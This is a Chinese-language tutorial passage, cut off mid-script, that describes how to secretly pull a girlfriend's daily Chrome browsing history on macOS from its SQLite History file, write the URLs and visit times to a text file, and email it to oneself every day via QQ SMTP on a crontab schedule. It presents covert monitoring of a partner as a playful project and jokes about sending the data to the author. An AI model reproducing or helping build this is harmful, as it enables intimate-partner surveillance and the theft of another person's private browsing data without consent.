需求
(1)你要有个女朋友(没有也行问题不大)
(2)获取你女朋友chrome
前一天浏览记录中的所有网站路径和访问时间,把它保存到一个txt
中
(3)将这个txt
文件发送给指定的邮箱(你的邮箱,或者我的邮箱,发给我我也不介意)
(4)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你女朋友每天看了写什么网站。
背景
(1)mac下chrome
的浏览记录在哪?怎么获取网址(url
)和访问时间?
路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite
数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls
表中
怎么获取:用python
内置的sqlite3
库连接History
,通过sql
得到我们想要的信息
(2)怎么发送一个带附件的邮件?
使用python
内置的email
和smtplib
两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
使用shell
脚本将这些过程连接起来,然后使用crontab
命令定时运行
准备开始行动
macOS Sierra
Python3.6
Chrome
发送邮件的qq
邮箱地址
qq
邮箱授权码
SMTP
服务器地址 :smtp.qq.com
接受邮件的邮箱地址
执行
(1)首先我们用DB Browser for SQLite
来看下History
中的urls
表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url
和urls.last_visit_time
中
(2)get_history.py
:
# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()
# 2.格式化一个邮件地址和邮件信息
def